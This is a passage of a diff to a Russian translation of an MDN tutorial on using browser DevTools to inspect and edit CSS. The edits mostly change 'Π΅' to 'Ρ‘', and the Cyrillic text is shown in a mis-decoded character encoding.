-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ (развСртывания) свойств ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΡ… записСй.</span></span> Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ короткая запись <code>margin</code>.</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ (развёртывания) свойств ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΡ… записСй.</span></span> Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ короткая запись <code>margin</code>.</p>
<p><strong>ΠšΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ малСнькой стрСлкС для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π²ΠΈΠ΄, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΏΠΎΠ»Π½ΡƒΡŽ запись Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… свойств ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</strong></p>
-<p><strong>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ значСния Π² Rules view Π² ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ ΠΈΠ»ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ Ссли эта панСль Π°ΠΊΡ‚ΠΈΠ²Π½Π° β€” <span class="tlid-translation translation" lang="ru"><span title="">Ссли навСсти Π½Π° Π½Π΅Π΅ курсор ΠΌΡ‹ΡˆΠΈ, появятся Ρ„Π»Π°ΠΆΠΊΠΈ</span></span>. <span class="tlid-translation translation" lang="ru"><span title="">Π‘Π½ΠΈΠΌΠΈΡ‚Π΅ Ρ„Π»Π°ΠΆΠΎΠΊ ΠΏΡ€Π°Π²ΠΈΠ»Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, border-radius, ΠΈ CSS пСрСстанСт ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ.</span></span></strong></p>
+<p><strong>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ значСния Π² Rules view Π² ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ ΠΈΠ»ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ Ссли эта панСль Π°ΠΊΡ‚ΠΈΠ²Π½Π° β€” <span class="tlid-translation translation" lang="ru"><span title="">Ссли навСсти Π½Π° Π½Π΅Ρ‘ курсор ΠΌΡ‹ΡˆΠΈ, появятся Ρ„Π»Π°ΠΆΠΊΠΈ</span></span>. <span class="tlid-translation translation" lang="ru"><span title="">Π‘Π½ΠΈΠΌΠΈΡ‚Π΅ Ρ„Π»Π°ΠΆΠΎΠΊ ΠΏΡ€Π°Π²ΠΈΠ»Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, border-radius, ΠΈ CSS пСрСстанСт ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ.</span></span></strong></p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ это Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π΅Π»Π°Ρ‚ΡŒ сравнСния ΠΏΠΎ Ρ‚ΠΈΠΏΡƒ A/B, принимая Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ выглядит Π»ΡƒΡ‡ΡˆΠ΅ с ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΠΌ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, Π° Ρ‚Π°ΠΊΠΆΠ΅ это ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Π² ΠΎΡ‚Π»Π°Π΄ΠΊΠ΅ β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ссли layout Π½Π΅ Π² порядкС ΠΈ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊΠΎΠ΅ свойство являСтся ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ это Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π΅Π»Π°Ρ‚ΡŒ сравнСния ΠΏΠΎ Ρ‚ΠΈΠΏΡƒ A/B, принимая Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ выглядит Π»ΡƒΡ‡ΡˆΠ΅ с ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΠΌ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, Π° Ρ‚Π°ΠΊΠΆΠ΅ это ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Π² ΠΎΡ‚Π»Π°Π΄ΠΊΠ΅ β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ссли layout Π½Π΅ Π² порядкС ΠΈ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊΠΎΠ΅ свойство являСтся ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹.</p>
<h2 id="Π Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ">Π Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ</h2>
<p>Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡŽ ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡŽ свойств, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… значСния. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ захочСтся ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ†Π²Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π»ΡƒΡ‡ΡˆΠ΅ ΠΈΠ»ΠΈ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‡Π΅Π³ΠΎ-Π»ΠΈΠ±ΠΎ. DevTools ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΡΡΠΊΠΎΠ½ΠΎΠΌΠΈΡ‚ΡŒ ΠΊΡƒΡ‡Ρƒ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ рСдактируя Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стиля ΠΈ пСрСзагруТая страницу.</p>
-<p><strong>Π’Ρ‹Π±Ρ€Π°Π² <code>box1</code>, ΠΊΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ Π½Π° ΠΎΠ±Ρ€Π°Π·Ρ‡ΠΈΠΊ (малСнький Ρ†Π²Π΅Ρ‚Π½ΠΎΠΉ ΠΊΡ€ΡƒΠ³) ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ†Π²Π΅Ρ‚, ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΉ ΠΊ Π³Ρ€Π°Π½ΠΈΡ†Π΅. ΠžΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚ΡΡ панСль Π²Ρ‹Π±ΠΎΡ€Π° Ρ†Π²Π΅Ρ‚Π° ΠΈ смоТСтС ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π°; это дСйствиС обновится на страницС Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. </strong> <strong><span class="tlid-translation translation" lang="ru"><span title="">Аналогичным ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈΠ»ΠΈ ΡΡ‚ΠΈΠ»ΡŒ Π³Ρ€Π°Π½ΠΈΡ†.</span></span></strong></p>
+<p><strong>Π’Ρ‹Π±Ρ€Π°Π² <code>box1</code>, ΠΊΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ Π½Π° ΠΎΠ±Ρ€Π°Π·Ρ‡ΠΈΠΊ (малСнький Ρ†Π²Π΅Ρ‚Π½ΠΎΠΉ ΠΊΡ€ΡƒΠ³) ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ†Π²Π΅Ρ‚, ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΉ ΠΊ Π³Ρ€Π°Π½ΠΈΡ†Π΅. ΠžΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚ΡΡ панСль Π²Ρ‹Π±ΠΎΡ€Π° Ρ†Π²Π΅Ρ‚Π° ΠΈ смоТСтС ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π°; это дСйствиС обновится на страницС Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. </strong> <strong><span class="tlid-translation translation" lang="ru"><span title="">Аналогичным ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈΠ»ΠΈ ΡΡ‚ΠΈΠ»ΡŒ Π³Ρ€Π°Π½ΠΈΡ†.</span></span></strong></p>
<p><img alt="DevTools Styles Panel with a color picker open." src="https://mdn.mozillademos.org/files/16607/inspecting2-color-picker.png" style="border-style: solid; border-width: 1px; height: 1173px; width: 2275px;"></p>
<h2 id="Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_Π½ΠΎΠ²ΠΎΠ³ΠΎ_свойства">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½ΠΎΠ²ΠΎΠ³ΠΎ свойства</h2>
-<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ DevTools Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ свойства. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ осознали, Ρ‡Ρ‚ΠΎ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваш Π±Π»ΠΎΠΊ наслСдовал Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° элСмСнтов <code>&lt;body&gt;</code>, Π° Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ собствСнный ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ это Π² DevTools Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ внСсСтС измСнСния Π² вашС CSS Ρ„Π°ΠΉΠ».</p>
+<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ DevTools Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ свойства. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ осознали, Ρ‡Ρ‚ΠΎ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваш Π±Π»ΠΎΠΊ наслСдовал Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° элСмСнтов <code>&lt;body&gt;</code>, Π° Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ собствСнный ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ это Π² DevTools Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ внСсётС измСнСния Π² вашС CSS Ρ„Π°ΠΉΠ».</p>
<p><strong>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΠΎ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ„ΠΈΠ³ΡƒΡ€Π½ΠΎΠΉ скобкС Π² ΠΏΡ€Π°Π²ΠΈΠ»Π΅ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π½ΠΎΠ²ΠΎΠ΅ объявлСниС Π² Π½Π΅ΠΌ, с этого ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π½ΠΎΠ²ΠΎΠ΅ свойство ΠΈ DevTools ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ список автозаполнСния подходящих свойств. Π’Ρ‹Π±Ρ€Π°Π² <code>font-size</code>, Π²Π²ΠΎΠ΄ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ + Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ с Ρ‚Π΅ΠΌ ΠΆΠ΅ сСлСктором ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ваши Π½ΠΎΠ²Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° Ρ‚ΡƒΠ΄Π°.</strong></p>
<p><img alt="The DevTools Panel, adding a new property to the rules, with the autocomplete for font- open" src="https://mdn.mozillademos.org/files/16608/inspecting3-font-size.png" style="border-style: solid; border-width: 1px; height: 956px; width: 2275px;"></p>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Π°ΠΊΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² Rules view, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ объявлСния с Π½Π΅ Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΌΠΈ значСниями Π·Π°Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС Π² <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examine and edit CSS</a>.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Π°ΠΊΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² Rules view, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ объявлСния с Π½Π΅ Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΌΠΈ значСниями Π·Π°Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС Π² <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examine and edit CSS</a>.</p>
</div>
<h2 id="ПониманиС_модСли_блоков">ПониманиС модСли блоков</h2>
-<p>Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ обсудили <a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">модСль Π±Π»ΠΎΠΊΠΎΠ²</a> ΠΈ <span class="tlid-translation translation" lang="ru"><span title="">Ρ‚ΠΎΡ‚ Ρ„Π°ΠΊΡ‚, Ρ‡Ρ‚ΠΎ Ρƒ нас Π΅ΡΡ‚ΡŒ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Π°Ρ модСль Π±Π»ΠΎΠΊΠΎΠ², которая измСняСт способ расчСта Ρ€Π°Π·ΠΌΠ΅Ρ€Π° элСмСнтов ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΠΌ Π·Π°Π΄Π°Π΅Ρ‚Π΅, плюс </span></span>padding ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. DevTools ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ вычисляСтся Ρ€Π°Π·ΠΌΠ΅Ρ€ элСмСнта.</p>
+<p>Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ обсудили <a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">модСль Π±Π»ΠΎΠΊΠΎΠ²</a> ΠΈ <span class="tlid-translation translation" lang="ru"><span title="">Ρ‚ΠΎΡ‚ Ρ„Π°ΠΊΡ‚, Ρ‡Ρ‚ΠΎ Ρƒ нас Π΅ΡΡ‚ΡŒ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Π°Ρ модСль Π±Π»ΠΎΠΊΠΎΠ², которая измСняСт способ расчёта Ρ€Π°Π·ΠΌΠ΅Ρ€Π° элСмСнтов ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΠΌ Π·Π°Π΄Π°Ρ‘Ρ‚Π΅, плюс </span></span>padding ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. DevTools ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ вычисляСтся Ρ€Π°Π·ΠΌΠ΅Ρ€ элСмСнта.</p>
<p><a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Layout_view">Layout view</a> ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π²Π°ΠΌ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡƒ Π±Π»ΠΎΡ‡Π½ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта, вмСстС с описаниСм свойств ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ способ располоТСния элСмСнта. Π­Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ описаниС свойств, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΈ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΊ элСмСнту, Π½ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Π½Π°Π±ΠΎΡ€ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</p>
<p>Π’ этой ΠΏΠ°Π½Π΅Π»ΠΈ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π΄Π΅Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… свойств являСтся свойство <code>box-sizing</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΊΠ°ΠΊΡƒΡŽ Π±Π»ΠΎΡ‡Π½ΡƒΡŽ модСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ элСмСнт.</p>
-<p><strong>Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅ Π΄Π²Π° Π±Π»ΠΎΠΊΠ° с классами <code>box1</code> ΠΈ <code>box2</code>. Они ΠΎΠ±Π° ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ (400px) ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½ΡƒΡŽ ΠΊ Π½ΠΈΠΌ, ΠΎΠ΄Π½Π°ΠΊΠΎ <code>box1</code> Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ ΡˆΠΈΡ€Π΅. Π’ layout panel Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β <code>content-box</code>. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π΄Π°Π΅Ρ‚Π΅ элСмСнту ΠΈ Π·Π°Ρ‚Π΅ΠΌ добавляСт padding </strong><strong>ΠΈ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π³Ρ€Π°Π½ΠΈΡ†.</strong></p>
+<p><strong>Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅ Π΄Π²Π° Π±Π»ΠΎΠΊΠ° с классами <code>box1</code> ΠΈ <code>box2</code>. Они ΠΎΠ±Π° ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ (400px) ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½ΡƒΡŽ ΠΊ Π½ΠΈΠΌ, ΠΎΠ΄Π½Π°ΠΊΠΎ <code>box1</code> Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ ΡˆΠΈΡ€Π΅. Π’ layout panel Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β <code>content-box</code>. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, 